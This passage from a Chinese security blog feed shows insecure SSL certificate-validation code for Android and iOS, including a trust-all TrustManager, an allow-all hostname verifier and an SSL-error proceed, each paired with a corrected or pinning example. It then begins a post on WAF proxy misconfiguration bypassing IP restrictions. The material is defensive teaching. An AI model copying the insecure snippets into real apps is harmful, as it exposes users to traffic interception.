</pre></td></tr></tbody></table></code></pre></figure> <p>當透過 WebView 元件訪問 HTTPS 網站發生 SSL 錯誤時,會觸發 onReceivedSslError 這個函數。根據官方文件指出,可藉由執行 handler.proceed() 或是 handler.cancel() 來決定是否讓連線繼續進行。在不覆寫這函數的情況下預設會執行 handler.cancel()。而上面的做法卻讓異常的連線繼續進行了。</p> <p>較為恰當的做法是使用 handler.cancel() 讓連線終止,或是限制在開發階段才執行 handler.proceed()。像 <a href="https://github.com/apache/cordova-android/blob/3.5.1/framework/src/org/apache/cordova/CordovaWebViewClient.java#L298">Apache Coradova</a> 和 <a href="https://github.com/facebook/facebook-android-sdk/blob/sdk-version-3.15.0/facebook/src/com/facebook/widget/WebDialog.java#L420">Facebook Android SDK</a> 皆有對這部分做控管。</p> <h4 id="android-錯誤處理情況2">Android 錯誤處理情況2</h4> <figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 </pre></td><td class="code"><pre><span class="nc">TrustManager</span><span class="o">[]</span> <span class="n">trustAllManager</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TrustManager</span><span class="o">[]</span> <span class="o">{</span> <span class="k">new</span> <span class="nc">X509TrustManager</span><span class="o">()</span> <span class="o">{</span> <span class="nd">@Override</span> <span class="kd">public</span> <span class="kt">void</span> <span class="nf">checkClientTrusted</span><span class="o">(</span><span class="nc">X509Certificate</span><span class="o">[]</span> <span class="n">chain</span><span class="o">,</span> <span class="nc">String</span> <span class="n">authType</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span> <span class="nd">@Override</span> <span class="kd">public</span> <span class="kt">void</span> <span class="nf">checkServerTrusted</span><span class="o">(</span><span class="nc">X509Certificate</span><span class="o">[]</span> <span class="n">chain</span><span class="o">,</span> <span class="nc">String</span> <span class="n">authType</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span> <span class="nd">@Override</span> <span class="kd">public</span> <span class="nc">X509Certificate</span><span class="o">[]</span> <span class="nf">getAcceptedIssuers</span><span class="o">()</span> <span class="o">{</span> <span class="k">return</span> <span class="kc">null</span><span class="o">;</span> <span class="o">}</span> <span class="o">}</span> <span class="o">};</span> <span class="nc">SSLContext</span> <span class="n">sslContext</span> <span class="o">=</span> <span class="nc">SSLContext</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"TLS"</span><span class="o">);</span> <span class="n">sslContext</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> <span class="n">trustAllManager</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span> </pre></td></tr></tbody></table></code></pre></figure> <p>本用來檢查伺服器憑證的 checkServerTrusted 被留空,導致警告被略過。Google 建議不要自行實作 TrustManager,而是把憑證放到 KeyStore,再把 KeyStore 放到 TrustManagerFactory,最後從 TrustManagerFactory 產出相關的 TrustManager,開發文件中有提供處理的<a href="https://developer.android.com/training/articles/security-ssl.html#UnknownCa">範例</a>。OWASP 的 WIKI 上也有提供自行實作 TrustManager 做 certificate pinning 的<a href="https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning#Android">範例</a>。<sup id="fnref:note2" role="doc-noteref"><a href="#fn:note2" class="footnote" rel="footnote">2</a></sup></p> <p>下面節錄 Android 官方文件上的範例:</p> <figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 5 6 7 8 9 10 11 12 </pre></td><td class="code"><pre><span class="nc">KeyStore</span> <span class="n">keyStore</span> <span class="o">=</span> <span class="o">...;</span> <span class="nc">String</span> <span class="n">algorithm</span> <span class="o">=</span> <span class="nc">TrustManagerFactory</span><span class="o">.</span><span class="na">getDefaultAlgorithm</span><span class="o">();</span> <span class="nc">TrustManagerFactory</span> <span class="n">tmf</span> <span class="o">=</span> <span class="nc">TrustManagerFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="n">algorithm</span><span class="o">);</span> <span class="n">tmf</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="n">keyStore</span><span class="o">);</span> <span class="nc">SSLContext</span> <span class="n">context</span> <span class="o">=</span> <span class="nc">SSLContext</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"TLS"</span><span class="o">);</span> <span class="n">context</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> <span class="n">tmf</span><span class="o">.</span><span class="na">getTrustManagers</span><span class="o">(),</span> <span class="kc">null</span><span class="o">);</span> <span class="no">URL</span> <span class="n">url</span> <span class="o">=</span> <span class="k">new</span> <span class="no">URL</span><span class="o">(</span><span class="s">"https://www.example.com/"</span><span class="o">);</span> <span class="nc">HttpsURLConnection</span> <span class="n">urlConnection</span> <span class="o">=</span> <span class="o">(</span><span class="nc">HttpsURLConnection</span><span class="o">)</span> <span class="n">url</span><span class="o">.</span><span class="na">openConnection</span><span class="o">();</span> <span class="n">urlConnection</span><span class="o">.</span><span class="na">setSSLSocketFactory</span><span class="o">(</span><span class="n">context</span><span class="o">.</span><span class="na">getSocketFactory</span><span class="o">());</span> <span class="nc">InputStream</span> <span class="n">in</span> <span class="o">=</span> <span class="n">urlConnection</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span> </pre></td></tr></tbody></table></code></pre></figure> <h4 id="android-錯誤處理情況3">Android 錯誤處理情況3</h4> <figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 </pre></td><td class="code"><pre><span class="no">URL</span> <span class="n">url</span> <span class="o">=</span> <span class="k">new</span> <span class="no">URL</span><span class="o">(</span><span class="s">"https://www.example.com/"</span><span class="o">);</span> <span class="nc">HttpsURLConnection</span> <span class="n">conn</span> <span class="o">=</span> <span class="o">(</span><span class="nc">HttpsURLConnection</span><span class="o">)</span> <span class="n">url</span><span class="o">.</span><span class="na">openConnection</span><span class="o">();</span> <span class="n">conn</span><span class="o">.</span><span class="na">setHostnameVerifier</span><span class="o">(</span><span class="nc">SSLSocketFactory</span><span class="o">.</span><span class="na">ALLOW_ALL_HOSTNAME_VERIFIER</span><span class="o">);</span> </pre></td></tr></tbody></table></code></pre></figure> <p>或是</p> <figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 5 6 </pre></td><td class="code"><pre><span class="nc">HostnameVerifier</span> <span class="n">allHostVerifier</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HostnameVerifier</span><span class="o">()</span> <span class="o">{</span> <span class="nd">@Override</span> <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">verify</span><span class="o">(</span><span class="nc">String</span> <span class="n">hostname</span><span class="o">,</span> <span class="nc">SSLSession</span> <span class="n">session</span><span class="o">)</span> <span class="o">{</span> <span class="k">return</span> <span class="kc">true</span><span class="o">;</span> <span class="o">}</span> <span class="o">};</span> </pre></td></tr></tbody></table></code></pre></figure> <p>上述寫法略過了憑證中的 hostname 檢查,導致即使連線端與憑證中指定的 hostname 不一致也能通過。較為恰當的做法是不特別設定,讓他使用預設的 DefaultHostnameVerifier,或是採用更為嚴謹的 StrictHostnameVerifier。</p> <h4 id="ios-錯誤處理情況1">iOS 錯誤處理情況1</h4> <figure class="highlight"><pre><code class="language-objc" data-lang="objc"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 5 6 </pre></td><td class="code"><pre><span class="k">@implementation</span> <span class="nc">NSURLRequest</span> <span class="p">(</span><span class="nl">IgnoreSSL</span><span class="p">)</span> <span class="k">+</span> <span class="p">(</span><span class="n">BOOL</span><span class="p">)</span><span class="nf">allowsAnyHTTPSCertificateForHost</span><span class="p">:(</span><span class="n">NSString</span><span class="o">*</span><span class="p">)</span><span class="nv">host</span> <span class="p">{</span> <span class="k">return</span> <span class="nb">YES</span><span class="p">;</span> <span class="p">}</span> <span class="k">@end</span> </pre></td></tr></tbody></table></code></pre></figure> <p>此情況使用到 Framework 中的 Private API,雖然這種寫法會因為不能通過 Apple 的審查而不會出現在 AppStore 上(使用回避技巧不在這討論範圍內),但仍有機會在無需經過 Apple 審查的 Enterprise App 中使用。較為適當的做法是用 “#if DEBUG”,”#endif” 包起來以確保該段程式在編譯時只能對開發中的 debug 版上有作用。</p> <h4 id="ios-錯誤處理情況2">iOS 錯誤處理情況2</h4> <figure class="highlight"><pre><code class="language-objc" data-lang="objc"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 5 6 7 8 9 10 </pre></td><td class="code"><pre><span class="k">-</span> <span class="p">(</span><span class="n">BOOL</span><span class="p">)</span><span class="nf">connection</span><span class="p">:(</span><span class="n">NSURLConnection</span> <span class="o">*</span><span class="p">)</span><span class="nv">connection</span> <span class="nf">canAuthenticateAgainstProtectionSpace</span><span class="p">:(</span><span class="n">NSURLProtectionSpace</span> <span class="o">*</span><span class="p">)</span><span class="nv">protectionSpace</span> <span class="p">{</span> <span class="k">return</span> <span class="p">[</span><span class="n">protectionSpace</span><span class="p">.</span><span class="n">authenticationMethod</span> <span class="nf">isEqualToString</span><span class="p">:</span><span class="n">NSURLAuthenticationMethodServerTrust</span><span class="p">];</span> <span class="p">}</span> <span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">connection</span><span class="p">:(</span><span class="n">NSURLConnection</span> <span class="o">*</span><span class="p">)</span><span class="nv">connection</span> <span class="nf">didReceiveAuthenticationChallenge</span><span class="p">:(</span><span class="n">NSURLAuthenticationChallenge</span> <span class="o">*</span><span class="p">)</span><span class="nv">challenge</span> <span class="p">{</span> <span class="k">if</span> <span class="p">([</span><span class="n">challenge</span><span class="p">.</span><span class="n">protectionSpace</span><span class="p">.</span><span class="n">authenticationMethod</span> <span class="nf">isEqualToString</span><span class="p">:</span><span class="n">NSURLAuthenticationMethodServerTrust</span><span class="p">])</span> <span class="p">[</span><span class="n">challenge</span><span class="p">.</span><span class="n">sender</span> <span class="nf">useCredential</span><span class="p">:[</span><span class="n">NSURLCredential</span> <span class="nf">credentialForTrust</span><span class="p">:</span><span class="n">challenge</span><span class="p">.</span><span class="n">protectionSpace</span><span class="p">.</span><span class="n">serverTrust</span><span class="p">]</span> <span class="nf">forAuthenticationChallenge</span><span class="p">:</span><span class="n">challenge</span><span class="p">];</span> <span class="p">[</span><span class="n">challenge</span><span class="p">.</span><span class="n">sender</span> <span class="nf">continueWithoutCredentialForAuthenticationChallenge</span><span class="p">:</span><span class="n">challenge</span><span class="p">];</span> <span class="p">}</span> </pre></td></tr></tbody></table></code></pre></figure> <p>上面的做法會讓使用 NSURLConnection 的連線略過憑證檢查,容許任意憑證通過。下面節錄 OWASP WIKI 上的範例:</p> <figure class="highlight"><pre><code class="language-objc" data-lang="objc"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 </pre></td><td class="code"><pre><span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">connection</span><span class="p">:(</span><span class="n">NSURLConnection</span> <span class="o">*</span><span class="p">)</span><span class="nv">connection</span> <span class="nf">didReceiveAuthenticationChallenge</span><span class="p">:</span> <span class="p">(</span><span class="n">NSURLAuthenticationChallenge</span> <span class="o">*</span><span class="p">)</span><span class="nv">challenge</span> <span class="p">{</span> <span class="k">if</span> <span class="p">([[[</span><span class="n">challenge</span> <span class="nf">protectionSpace</span><span class="p">]</span> <span class="nf">authenticationMethod</span><span class="p">]</span> <span class="nf">isEqualToString</span><span class="p">:</span> <span class="n">NSURLAuthenticationMethodServerTrust</span><span class="p">])</span> <span class="p">{</span> <span class="k">do</span> <span class="p">{</span> <span class="n">SecTrustRef</span> <span class="n">serverTrust</span> <span class="o">=</span> <span class="p">[[</span><span class="n">challenge</span> <span class="nf">protectionSpace</span><span class="p">]</span> <span class="nf">serverTrust</span><span class="p">];</span> <span class="k">if</span><span class="p">(</span><span class="nb">nil</span> <span class="o">==</span> <span class="n">serverTrust</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="cm">/* failed */</span> <span class="n">OSStatus</span> <span class="n">status</span> <span class="o">=</span> <span class="n">SecTrustEvaluate</span><span class="p">(</span><span class="n">serverTrust</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">errSecSuccess</span> <span class="o">==</span> <span class="n">status</span><span class="p">))</span> <span class="k">break</span><span class="p">;</span> <span class="cm">/* failed */</span> <span class="n">SecCertificateRef</span> <span class="n">serverCertificate</span> <span class="o">=</span> <span class="n">SecTrustGetCertificateAtIndex</span><span class="p">(</span><span class="n">serverTrust</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="nb">nil</span> <span class="o">==</span> <span class="n">serverCertificate</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="cm">/* failed */</span> <span class="n">CFDataRef</span> <span class="n">serverCertificateData</span> <span class="o">=</span> <span class="n">SecCertificateCopyData</span><span class="p">(</span><span class="n">serverCertificate</span><span class="p">);</span> <span class="p">[(</span><span class="n">id</span><span class="p">)</span><span class="n">serverCertificateData</span> <span class="nf">autorelease</span><span class="p">];</span> <span class="k">if</span><span class="p">(</span><span class="nb">nil</span> <span class="o">==</span> <span class="n">serverCertificateData</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="cm">/* failed */</span> <span class="k">const</span> <span class="n">UInt8</span><span class="o">*</span> <span class="k">const</span> <span class="n">data</span> <span class="o">=</span> <span class="n">CFDataGetBytePtr</span><span class="p">(</span><span class="n">serverCertificateData</span><span class="p">);</span> <span class="k">const</span> <span class="n">CFIndex</span> <span class="n">size</span> <span class="o">=</span> <span class="n">CFDataGetLength</span><span class="p">(</span><span class="n">serverCertificateData</span><span class="p">);</span> <span class="n">NSData</span><span class="o">*</span> <span class="n">cert1</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSData</span> <span class="nf">dataWithBytes</span><span class="p">:</span><span class="n">data</span> <span class="nf">length</span><span class="p">:(</span><span class="n">NSUInteger</span><span class="p">)</span><span class="n">size</span><span class="p">];</span> <span class="n">NSString</span> <span class="o">*</span><span class="n">file</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSBundle</span> <span class="nf">mainBundle</span><span class="p">]</span> <span class="nf">pathForResource</span><span class="p">:</span><span class="s">@"random-org"</span> <span class="nf">ofType</span><span class="p">:</span><span class="s">@"der"</span><span class="p">];</span> <span class="n">NSData</span><span class="o">*</span> <span class="n">cert2</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSData</span> <span class="nf">dataWithContentsOfFile</span><span class="p">:</span><span class="n">file</span><span class="p">];</span> <span class="k">if</span><span class="p">(</span><span class="nb">nil</span> <span class="o">==</span> <span class="n">cert1</span> <span class="o">||</span> <span class="nb">nil</span> <span class="o">==</span> <span class="n">cert2</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="cm">/* failed */</span> <span class="k">const</span> <span class="n">BOOL</span> <span class="n">equal</span> <span class="o">=</span> <span class="p">[</span><span class="n">cert1</span> <span class="nf">isEqualToData</span><span class="p">:</span><span class="n">cert2</span><span class="p">];</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">equal</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="cm">/* failed */</span> <span class="c1">// The only good exit point</span> <span class="k">return</span> <span class="p">[[</span><span class="n">challenge</span> <span class="nf">sender</span><span class="p">]</span> <span class="nf">useCredential</span><span class="p">:</span> <span class="p">[</span><span class="n">NSURLCredential</span> <span class="nf">credentialForTrust</span><span class="p">:</span> <span class="n">serverTrust</span><span class="p">]</span> <span class="nl">forAuthenticationChallenge:</span> <span class="n">challenge</span><span class="p">];</span> <span class="p">}</span> <span class="k">while</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="c1">// Bad dog</span> <span class="k">return</span> <span class="p">[[</span><span class="n">challenge</span> <span class="nf">sender</span><span class="p">]</span> <span class="nf">cancelAuthenticationChallenge</span><span class="p">:</span> <span class="n">challenge</span><span class="p">];</span> <span class="p">}</span> </pre></td></tr></tbody></table></code></pre></figure> <p>處理方式與前面的 Android 情況2類同,做了 certificate pinning。</p> <h4 id="ios-錯誤處理情況3">iOS 錯誤處理情況3</h4> <figure class="highlight"><pre><code class="language-objc" data-lang="objc"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 5 6 7 8 9 10 11 12 13 </pre></td><td class="code"><pre><span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="nf">URLSession</span><span class="p">:(</span><span class="n">NSURLSession</span> <span class="o">*</span><span class="p">)</span><span class="nv">session</span> <span class="nf">didReceiveChallenge</span><span class="p">:(</span><span class="n">NSURLAuthenticationChallenge</span> <span class="o">*</span><span class="p">)</span><span class="nv">challenge</span> <span class="nf">completionHandler</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSURLSessionAuthChallengeDisposition</span> <span class="n">disposition</span><span class="p">,</span> <span class="n">NSURLCredential</span> <span class="o">*</span><span class="n">credential</span><span class="p">))</span><span class="n">completionHandler</span> <span class="p">{</span> <span class="n">NSURLProtectionSpace</span> <span class="o">*</span> <span class="n">protectionSpace</span> <span class="o">=</span> <span class="n">challenge</span><span class="p">.</span><span class="n">protectionSpace</span><span class="p">;</span> <span class="k">if</span> <span class="p">([</span><span class="n">protectionSpace</span><span class="p">.</span><span class="n">authenticationMethod</span> <span class="nf">isEqualToString</span><span class="p">:</span><span class="n">NSURLAuthenticationMethodServerTrust</span><span class="p">])</span> <span class="p">{</span> <span class="n">SecTrustRef</span> <span class="n">serverTrust</span> <span class="o">=</span> <span class="n">protectionSpace</span><span class="p">.</span><span class="n">serverTrust</span><span class="p">;</span> <span class="n">completionHandler</span><span class="p">(</span><span class="n">NSURLSessionAuthChallengeUseCredential</span><span class="p">,</span> <span class="p">[</span><span class="n">NSURLCredential</span> <span class="nf">credentialForTrust</span><span class="p">:</span> <span class="n">serverTrust</span><span class="p">]);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">completionHandler</span><span class="p">(</span><span class="n">NSURLSessionAuthChallengePerformDefaultHandling</span><span class="p">,</span> <span class="nb">nil</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </pre></td></tr></tbody></table></code></pre></figure> <p>與前面 NSURLConnection 的情況類同,只是這裡使用到的是 iOS7 新增的 NSURLSession 元件。對應的處理方式如下:</p> <figure class="highlight"><pre><code class="language-objc" data-lang="objc"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 </pre></td><td class="code"><pre><span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="nf">URLSession</span><span class="p">:(</span><span class="n">NSURLSession</span> <span class="o">*</span><span class="p">)</span><span class="nv">session</span> <span class="nf">didReceiveChallenge</span><span class="p">:(</span><span class="n">NSURLAuthenticationChallenge</span> <span class="o">*</span><span class="p">)</span><span class="nv">challenge</span> <span class="nf">completionHandler</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSURLSessionAuthChallengeDisposition</span> <span class="n">disposition</span><span class="p">,</span> <span class="n">NSURLCredential</span> <span class="o">*</span><span class="n">credential</span><span class="p">))</span><span class="n">completionHandler</span> <span class="p">{</span> <span class="k">if</span> <span class="p">([[[</span><span class="n">challenge</span> <span class="nf">protectionSpace</span><span class="p">]</span> <span class="nf">authenticationMethod</span><span class="p">]</span> <span class="nf">isEqualToString</span><span class="p">:</span><span class="n">NSURLAuthenticationMethodServerTrust</span><span class="p">])</span> <span class="p">{</span> <span class="n">SecTrustRef</span> <span class="n">serverTrust</span> <span class="o">=</span> <span class="p">[[</span><span class="n">challenge</span> <span class="nf">protectionSpace</span><span class="p">]</span> <span class="nf">serverTrust</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="n">serverTrust</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span> <span class="n">OSStatus</span> <span class="n">status</span> <span class="o">=</span> <span class="n">SecTrustEvaluate</span><span class="p">(</span><span class="n">serverTrust</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">errSecSuccess</span> <span class="o">==</span> <span class="n">status</span><span class="p">))</span> <span class="p">{</span> <span class="n">completionHandler</span><span class="p">(</span><span class="n">NSURLSessionAuthChallengeCancelAuthenticationChallenge</span><span class="p">,</span> <span class="nb">nil</span><span class="p">);</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="n">NSData</span> <span class="o">*</span><span class="n">localCertData</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSData</span> <span class="nf">dataWithContentsOfFile</span><span class="p">:[[</span><span class="n">NSBundle</span> <span class="nf">mainBundle</span><span class="p">]</span> <span class="nl">pathForResource:</span><span class="s">@"random-org"</span> <span class="nl">ofType:</span><span class="s">@"der"</span><span class="p">]];</span> <span class="n">SecCertificateRef</span> <span class="n">remoteServerCert</span> <span class="o">=</span> <span class="n">SecTrustGetCertificateAtIndex</span><span class="p">(</span><span class="n">serverTrust</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="n">CFDataRef</span> <span class="n">remoteCertData</span> <span class="o">=</span> <span class="n">SecCertificateCopyData</span><span class="p">(</span><span class="n">remoteServerCert</span><span class="p">);</span> <span class="n">BOOL</span> <span class="n">isMatch</span> <span class="o">=</span> <span class="p">[</span><span class="n">localCertData</span> <span class="nf">isEqualToData</span><span class="p">:</span> <span class="p">(</span><span class="n">__bridge</span> <span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="n">remoteCertData</span><span class="p">];</span> <span class="n">CFRelease</span><span class="p">(</span><span class="n">remoteCertData</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">isMatch</span><span class="p">)</span> <span class="p">{</span> <span class="n">completionHandler</span><span class="p">(</span><span class="n">NSURLSessionAuthChallengeUseCredential</span><span class="p">,</span> <span class="p">[</span><span class="n">NSURLCredential</span> <span class="nf">credentialForTrust</span><span class="p">:</span><span class="n">serverTrust</span><span class="p">]);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">completionHandler</span><span class="p">(</span><span class="n">NSURLSessionAuthChallengeCancelAuthenticationChallenge</span><span class="p">,</span> <span class="nb">nil</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">completionHandler</span><span class="p">(</span><span class="n">NSURLSessionAuthChallengePerformDefaultHandling</span><span class="p">,</span> <span class="nb">nil</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </pre></td></tr></tbody></table></code></pre></figure> <h4 id="對-webview-的一些補充">對 WebView 的一些補充</h4> <p>在對 WebView 做處理上,除了對 SSL 錯誤直接略過外,目前無論是在 Android 還是 iOS 上,SDK API 都尚未直接提供方法讓開發者能在 SSL Handshake 的途中作 Server Certificate Pinning。其中一個替代方法是,利用其他能夠作 Pinning 的元件將資料下載回來,接著把資料傳到 WebView 進行讀取,避開原本用 WebView 直接設定連線網址。蘋果公司有提供這種處理的<a href="https://developer.apple.com/library/ios/samplecode/CustomHTTPProtocol/Introduction/Intro.html">範例</a>。</p> <h3 id="結語">結語</h3> <p>本來為了提高安全性而使用的 SSL 加密連線,卻由於程式處理不當讓原來的保護形同虛設。觀念不足與為節省時間而沒做好處理相信是主要原因。網路上大量的文章在引指開發者略過錯誤警告的時候,卻沒有提醒他們這樣做帶來的影響,也助長了不當處理的發生。</p> <p>除了 SSL 處理問題外,手機應用程式開發還有許多要注意的安全問題,像是 OWASP 列出的 <a href="https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks">Top 10 Mobile Risks</a>、由日本智慧型手機安全協會發佈 <a href="http://www.jssec.org/report/android_securecoding_en_20140801.html">Android Application Secure Design/Secure Coding Guidebook</a> 裡面所建議的。開發商有責任做好安全把關以保障雙方權益。</p> <h3 id="參考">參考</h3> <ul> <li><a href="http://android-ssl.org">Rethinking SSL Development in an Appified World</a></li> <li><a href="http://android-developers.blogspot.com/2012/03/unifying-key-store-access-in-ics.html">Unifying Key Store Access in ICS | Android Developers Blog</a></li> <li><a href="http://commonsware.com/blog/2013/03/04/ssl-android-basics.html">The CommonsBlog — SSL on Android: The Basics</a></li> <li><a href="https://developer.android.com/training/articles/security-ssl.html">Security with HTTPS and SSL | Android Developers</a></li> <li><a href="https://developer.apple.com/librarY/mac/documentation/NetworkingInternet/Conceptual/NetworkingTopics/Articles/OverridingSSLChainValidationCorrectly.html">Networking Programming Topics: Overriding TLS Chain Validation Correctly</a></li> <li><a href="https://developer.apple.com/library/ios/technotes/tn2232/_index.html">Technical Note TN2232: HTTPS Server Trust Evaluation</a></li> <li><a href="https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning">Certificate and Public Key Pinning - OWASP</a></li> </ul> <div class="footnotes" role="doc-endnotes"> <ol> <li id="fn:note1" role="doc-endnote"> <p>Google 基於效能及有效性的考量,在 Android 系統上預設停用<a href="https://code.google.com/p/android/issues/detail?id=68643">憑證撤銷檢查</a><br /> <a href="#fnref:note1" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> <li id="fn:note2" role="doc-endnote"> <p>OWASP 的 Android 範例中,內含的 PUB_KEY 是錯誤的 (最後更改日期 2014/08/14) <a href="#fnref:note2" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> </ol> </div> https://devco.re/blog/2014/08/15/ssl-mishandling-on-mobile-app-development/ https://devco.re/blog/2014/08/15/ssl-mishandling-on-mobile-app-development Fri, 15 Aug 2014 00:00:00 +0800 設備不良設定帶來的安全風險:以 WAF 為例 <p>過去談到網站安全,通常會使用防火牆或 IDS 進行防護。但近年來網站安全議題都是以網頁應用程式的漏洞居多,無法單靠防火牆阻擋。以 OWASP Top 10 2013 的第一名 Injection 而言,多半是程式撰寫方法不嚴謹所造成,因此才有了網頁應用程式防火牆 (Web Application Firewall, WAF) 的出現。</p> <p>有了 WAF 就是萬靈丹了嗎?就算有各種資安設備,但缺乏安全的設定,有的時候反而會讓系統陷入安全風險中。我們就以 Reverse Proxy 或 WAF 設備來探討不佳設定帶來的安全風險。</p> <!-- more --> <h3 id="waf-搭配不佳的設定會帶來什麼危害">WAF 搭配不佳的設定會帶來什麼危害?</h3> <p>以常見的 mod_proxy 搭配 mod_security 的方案來看,通常使用 Reverse Proxy 或 Transparent Proxy 為其架構,透過 Proxy 的方式在 Client 與 Web Server 之間,對 HTTP Request / Response 進行過濾;以 HTTP Request 為例,當 WAF 偵測到 Client 端的請求中有 SQL Injection 語法時候,將會阻斷這個連線防止駭客攻擊。</p> <p>在這種架構下的 WAF 看似對後端的伺服器多了一份保障,但也並非完美。其問題是後端的 Web Server 在透過 WAF 存取的情況下,無法得知來自 Client 端的來源 IP,相反的 Web Server 能看到的 IP 都將是 WAF 的 IP (REMOTE ADDR),在這種情況下可能造成 Client 端可以存取受 IP 來源限制的系統。延伸閱讀:<a href="http://devco.re/blog/2014/06/19/client-ip-detection/">如何正確的取得使用者 IP?</a>。</p> <p>以下圖為例,網站本身只允許 192.168.x.x 的網段連線,如果今天 Client IP 是 1.1.1.1,將無法存取該網站。</p> <p><a href="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-01.png"><img src="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-01.png" alt="限制 IP 存取" title="限制 IP 存取" /></a></p> <p>但在有建置 WAF 的架構之下,Client 透過 WAF 存取網站,網站得到的 IP 會是 WAF 的 IP:192.168.1.10,因此允許連線,Client 因而取得原本需在內網才能存取的資料。</p> <p><a href="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-02.png"><img src="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-02.png" alt="因為 WAF 而繞過 IP 限制" title="因為 WAF 而繞過 IP 限制" /></a></p> <h3 id="實際案例">實際案例</h3> <p>我們以常見的 Web Server 整合包 XAMPP 為例,在預設的 http-xampp.conf 設定檔中限制了一些管理頁面只能由 Private IP 存取,如 /security 、 /webalizer 、 /phpmyadmin 、 /server-status 、 /server-info 等,此時 WAF 的 IP 若為 Private IP,依 XAMPP 預設設定,WAF 將可以存取這些受 IP 限制的資源,當 WAF 存取完資源後又將內容回傳給 Client 端。</p> <p>http-xampp.conf 預設設定</p> <figure class="highlight"><pre><code class="language-apache" data-lang="apache"><span class="p">&lt;</span><span class="nl">LocationMatch</span><span class="sr"> "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))"</span><span class="p">&gt; </span> <span class="nc">Order</span> deny,allow <span class="nc">Deny</span> <span class="ss">from</span> <span class="ss">all</span> <span class="nc">Allow</span> <span class="ss">from</span> ::1 127.0.0.0/8 \ fc00::/7 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 \ fe80::/10 169.254.0.0/16 <span 